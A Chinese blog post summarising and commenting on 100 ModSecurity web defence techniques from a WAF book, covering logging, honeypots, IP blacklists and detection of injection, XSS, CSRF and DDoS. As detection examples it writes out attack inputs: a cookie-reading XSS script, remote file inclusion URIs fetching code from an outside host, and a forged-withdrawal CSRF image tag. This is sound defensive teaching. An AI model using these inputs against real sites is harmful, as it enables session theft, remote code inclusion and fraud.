【新技能GET√】web应用安全防御100技

如何进行web应用安全防御,是每个web安全从业者都会被问到的问题,非常不好回答,容易过于肤浅或流于理论,要阐明清楚,答案就是一本书的长度。而本文要介绍一本能很好回答这个问题的优秀书籍——《web application defender’s cookbook》,这 是一本被低估的“干货”书籍,虽然是为ModSecurity量身定制,但里面提到的防御技巧对web安全从业者均有启发,是WAF版的孙子兵法(有趣的是,这本书的每个章节均以孙子兵法作为开篇语)。

 

这本书提出了使用ModSecurity进行web应用安全防御的100个技巧,每个技巧都用真实的案例来说明,非常容易掌握,下文介绍这100技及个人点评(已经准备好被喷了:))。

 

1 实时分析HTTP请求特征

例如请求方法,参数名,参数个数,参数长度,参数取值类型(数字,字母,email, URL或文件路径)

脑洞:给HTTP请求做白名单,或为了准确度给出现过漏洞的URI做白名单

 

2  验证hash token预防数据篡改

例如: http://xxx.xxx.xxx/?p=4&rv_token=aafb509403bbf7d78c3c8fe1735d49f01b90eb64

rv_token的验证

 

3 安装OWASP ModSecurity CRS

该规则集有两种模式,一种独立检测模式,一种协同检测模式(规则评分制)

 

4 IDS Snort规则转换为ModSecurity规则

使用 snort2modsec2.pl脚本将Snort规则转换为ModSecurity规则

脑洞:安全防御是个整体,将各个关卡有效地联动起来形成壁垒

 

5 使用贝叶斯分类算法区分恶意请求

 

6 开启HTTP日志审计,设置粒度为全部记录

 

7 开启HTTP日志审计,设置粒度为部分记录

例如只记录响应码为4xx的HTTP请求

 

8 开启HTTP日志审计,不记录静态资源访问请求

 

9 HTTP日志中的敏感信息****化

脑洞:出发点是尊重用户隐私,但是不少CDN厂商并不会这样做

 

10 使用syslogserver警告信息转发给中心日志平台

作用于分布式/协同防御系统中的日志收集阶段,例如递交给SIEM系统进行分析

 

11 使用更为友好的ModSecurity 的审计控制平台AuditConsole

 

12 被动的漏洞识别方案-通过读取漏洞库(例如OSVDB)来识别漏洞从而进行防御

 

13 主动的漏洞识别方案-调用扫描器(例如Arachni)来识别漏洞从而进行防御

 

14  将扫描器结果手动转化为防御规则

15  将扫描器结果自动转化为防御规则

使用 Arachi2modsec.pl脚本将arachi扫描报告转换为ModSecurity规则

 

16 实时调用扫描器(例如Arachni RPC)进行防御

 

17 设置honeypot,新开监听端口

 

18 设置honeypot,伪造robots.txt disallow 项与伪造401请求身份验证的请求

脑洞:其实在中国区也发生过“正规”搜索引擎不遵守robots协议,爬取disallow路径的案例

 

19 设置honeypot,伪造HTML注释

脑洞:黑客一般会在HTML代码注释区找敏感信息,Burpsuite就专门提供了”find comments”功能。例如在注释区增加一个不存在的uri来捕获黑客

 

20 设置honeypot,伪造隐藏表单域(hidden form fields

例如增加一个隐藏表单字段debug,如果HTTP请求中包含这个隐藏表单,说明请求就有攻击意向

 

21 设置honeypot,伪造cookie

 

22 使用IP信誉库,查询访问者IP信息

脑洞: MaxMind IP库,估计没有人没听说过

 

23 使用IP信誉库,识别恶意恶意代理

 

24 调用在线RBL(real-time blacklist)库(例如sbl-xbl.spamhaus.org),识别恶意IP

在线查询国际反垃圾邮件组织提供的IP黑库,或者调用开源的IP黑名单收集蜜罐API接口HTTPBL(Honeypot HTTP Blacklist)进行IP信誉查询

 

25 创建自己的RBL

使用jwall-rbld创建自己的RBL,https://jwall.org/ 提供了不少java编写的web安全工具

 

26 调用URI黑库(例如URIBL,Google Safe Browsing API),识别恶意URI

脑洞:BAT,360,金山等大的互联网公司都陆续开放了自己的恶意网址库接口

 

27 按需解析HTTP请求体

HTTP请求体的检测是非常消耗性能的,所以要加上各种优化限制,例如检测体长度限制,缓存到本地文件系统的请求体是否解析(像naxsi就不解析这种),是否解析XML实体类型等

 

28 识别不符合协议规范带有潜在恶意的请求体

无法为协议解析组件所解析的请求体都有恶意的可能性,例如在multipart-form类型的文件上传包中构造恶意格式绕过上传文件类型的限制

 

29 规范化Unicode编码

WAF绕过技巧中有一大分支-编码绕过,使用编码映射规范化编码是个不错的点子

 

30 识别多重编码

例如两次urlencode

 

31 识别异常编码

验证是否为规范编码

 

32 识别异常的HTTP请求方法

制定HTTP请求白名单,例如只允许GET、POST、HEAD

 

33 识别不符合RFC 2616定义的URI格式

 

34 识别HTTP请求头异常

例如HTTP请求头缺失、请求头排列顺序异常、请求头取值异常

 

35 通过多余参数识别攻击

 

36 通过缺失参数识别攻击

 

37 通过重复参数(HPP)识别攻击

脑洞:正常的应用也会出现重复参数的情况,why!!!

 

38 通过参数取值长度异常识别攻击

 

39 通过参数取值字符类型异常识别攻击

采取参数取值白名单的方式来防御

 

40 识别HTTP响应头异常

例如5xx错误的比例,HTTP响应拆分,恶意的重定向

 

41 预防HTTP响应头中的信息泄漏

移除或伪造服务签名响应头,例如Server,X-Powerd-By,X-AspNet-Version

 

42 按需解析HTTP响应体

响应体的检测是极其消耗性能的,所以要参照安全级别谨慎设置如何解析HTTP响应体

 

43 检测网页篡改标题篡改

脑洞: 每个被“黑”的网站都是被标记的电线杆

 

44 检测网页篡改响应体长度异常

网页内容被篡改或后端DB被拖库时,响应体的大小会发生明显的变化,但该方法需要谨慎使用,容易误报

 

45 检测网页篡改响应体动态内容篡改

例如在表单注入一段<script>alert(document.cookie);</script>,检查响应体中会出现新的JS标签,我们根据标签个数便能发现攻击。

 

46 检测响应体中的源码泄漏

例如php-cgi源码泄漏漏洞CVE-201201823

 

47 检测响应体中的信息泄漏

例如响应体中泄漏源码绝对路径,数据库信息

 

48 通过异常的响应时间来发现攻击

例如基于时间的SQL盲注waitfor delay会造成异常的响应时间

 

49 检测响应体中的用户数据泄漏

例如信用卡号

 

50 检测木马、后门、webshell连接尝试

 

51 监测使用常用账号进行的登录尝试

例如使用admin administrator root system等作为用户名来尝试登录

 

52 监测登录口横向暴力破解

使用同一个密码,不同的用户名来尝试暴力破解

 

53 监测失败的登录尝试

 

54 监测高频率的登录尝试

 

55 使用统一的登录失败提示,避免有用信息泄漏

像错误的用户名或错误的密码这种提示会给暴力破解提供有效信息

 

56 启用密码复杂度检测

 

57 分析一个会话期,登录尝试的用户名来发现登录口异常

 

58 检测异常的cookie取值

基于会话的攻击,包括可猜测的会话ID取值(burpsuite就集成了会话sequence分析工具)

 

59 检测来自cookie字段的攻击

例如cookie字段的SQL注入

 

60 设置会话有效期

防御会话固定攻击

 

61 检测一个会话期,请求者IPGEO信息的变化

 

62 检测一个会话期,请求者指纹的变化

该技术一般用于反欺诈系统用于识别用户身份,包括访问者屏幕大小,时区,语言设置,浏览器插件

 

63 检测请求者中的非ASCII字符

例如NULL字符%00

脑洞:看过naxsi基础规则文件的会发现,90%的规则都是检测非ASCII字符

 

64 检测目录遍历攻击

 

65  检测非正常流程的网站资源访问

控制URL进行横向权限提升,纵向权限提升操作

可以使用加密token(例如url hash)来防御任意资源访问,如下所示

https://www.REDACTED.com/Cust/cust_5.php/222557/20040216?rv_token=abfb508403bbf7d78c3f8de1735d49f01b90eb71

 

66 检测SQL注入攻击

SQL注入的防御方法一般有三种

(1)SQL关键字过滤器 (2)SQL语义分析 (3)朴素贝叶斯异常分类(计划另开博客详细介绍)

 

67 检测远程文件包含漏洞

当URI包含以下情况时,极可能是一次攻击请求

IP地址,例如/a.php?libdir=http://89.238.174.14/fx.txt???

PHP函数,例如/?id={${include(“http://xxx.xx.xx/fx.txt??)}}

多个?号,例如/a.php?libdir=http://xxx.xx.xx/cgi???

包含的host与Host头的字段不符,例如/a.php?libdir=http://www.example.com

 

68 检测操作系统命令执行漏洞

69 检测HTTP Request Smuggling HRS攻击

 

70 检测HTTP响应拆分漏洞

 

71 检测XML攻击

例如XPath注入

72 使用CSP策略防御

 

73 检测XSS攻击

XSS的防御方法一般有三种

(1)XSS关键字过滤器 (2)X-XSS-PROTECTION (3)javascript沙盒

 

74 检测CRSF攻击

CSRF防御方法:加密token

 

75 防御UI Redressing(clickjacking)

clickjacking防御方法:

(1)X-Frame-Options(2)frame-busting javascript

 

76 防御盗号木马-中间人攻击

盗号木马一般会截获HTTP请求,伪造登录界面来盗取账号,而对这种钓鱼攻击的防御灵感来源于文件完整性检测工具tripwires,使用JS注入响应体md5值附加在登录页面来验证页面完整性。

 

77 限制上传文件的大小,避免超大文件上传造成服务器的拒绝服务攻击

 

78 限制上传文件的数目,避免过多文件上传造成服务器的拒绝服务攻击

 

79 集成病毒扫描工具(例如ClamAV),检测上传文件是否为恶意文件

 

80 HTTP DDoS(CC)攻击识别

比较有名的攻击工具有low orbit ion cannon LOIC,high orbit ion cannon HOIC

注意与8相同只监控动态页面,因为静态资源的请求一般会缓存到CDN节点而到不了源站

 

81 HTTP slow DDoS攻击识别

比较有名的攻击工具有slowloris

 

82 通过检测后续请求的响应时间是否过快来检测CSRF攻击

例如CSRF <img src=”http://bank.example.com/withdraw?account=bob&amount=1000000&for=alice”> 受害者访问图片标签的同时就发送了一个GET请求,两个请求的间隔时间非常短

 

 

83 检测异常的HTTP请求次序

自动化攻击往往会最小化操作步骤,我们可以参照第2技,第65技,增加token来预防自动化攻击

 

84 识别网站特定资源访问量的异常

当网站的某个资源的访问量出现异常的时候,往往意味着攻击发生了,例如新浪微博CSRF蠕虫攻击中自动发微博接口的自动调用

 

85 多个HTTP请求之间的联动分析

启用协同检测模式(规则评分制),例如单个IP/会话触发的规则情况

 

86 动态开启WAF日志审计

例如当收到来自IP黑名单的请求时,开启日志审计功能

 

87 email发送WAF协同防御细节给站长

可以调用外部email发送脚本也可以使用AuditConsole平台(第11技中提到)发送

 

88 WAF事件信息通过请求头分享给其他安全组件来进行联动分析

当捕获一个安全级别较低的攻击时,直接拦截就不是个好的选择了,这时候就可以将WAF事件信息分享给其他安全组件进行联动分析来执行合理的应对措施,而通过HTTP请求头传递WAF事件信息就是个不错的方案(这种方法叫做request header tagging)。

 

89 将攻击请求重定向到用户友好的自定制拦截页面

 

90 断开攻击者的网络连接

该措施常用于拒绝服务攻击,例如CC攻击

 

91 使用IP黑名单阻塞工具阻塞恶意用户访问

一般会将User-Agent与IP地址联合起来来阻塞恶意用户访问

常见的黑名单阻塞工具有jwall-Rbld,Jwall AuditConsole, blacklist,samtool(snortsam)

 

92 动态启用基于IP-GEO信息的分级防御

例如发现大量攻击者来自X国,对X国启用高级防御

 

93 通过延迟对请求的响应时间来减缓自动化攻击,给防御者争取时间来应对攻击

 

94 伪造攻击成功的返回页面来迷惑攻击者,给防御者争取时间来应对攻击

集成honeypot的防御思想

 

95 将攻击请求代理到honeypot

 

96 当检测到会话异常时,强制攻击者登出

例如当会话期间useragent发生变化时,强制攻击者登出

 

97 当攻击事件发生时,锁定攻击者账号一段时间 

 

98 使用JS注入cookie阻塞流量性攻击(例如CC攻击)

 

99 使用验证码阻塞自动化(机器)攻击

例如自动注册,自动发送垃圾贴等机器人行为

脑洞:注意验证码服务器要足够健壮,以免招受拒绝服务攻击时导致这一措施失效

 

100 集成BeFF(browser exploit framework)来分析恶意用户请求

 

 

终于写完了,我们会发现这100个防御技巧中出现了以下工具(规范或方法)

 

WAF(web应用防火墙),Snort(入侵检测系统),OSVDB(开源漏洞库),honeypot(蜜罐),Arachni(漏洞扫描器),BeFF(漏洞挖掘框架),ClamAV(杀毒软件),tripwires(文件完整性校验工具,在web领域可以用来预防HTTP请求数据篡改,钓鱼页面伪造和自动化提交请求),RBL(实时IP黑库,IP信誉库),URIBL Google Safe Browsing API(恶意网址库),javascript sandbox(沙箱),SIEM(安全信息与事件管理平台), SQL词法分析器 ,HTTP RFC规范,编码映射表,朴素贝叶斯分类算法

 

于是,可以很容易发现web安全防御是个整体,需要将各个组件(关卡)有效地联动起来形成壁垒,安全防御方法也是没有严格的领域区分的,客户端的安全技巧可以用于web,反之亦然,同时在解决某个安全问题时,如果找不到完善的单独解决方案,不妨同时使用不同的有缺陷的防御方案,三个臭皮匠顶个诸葛亮。

 

来源:http://danqingdani.blog.163.com/blog/static/186094195201411204383402

 

发表评论

电子邮件地址不会被公开。 必填项已用*标注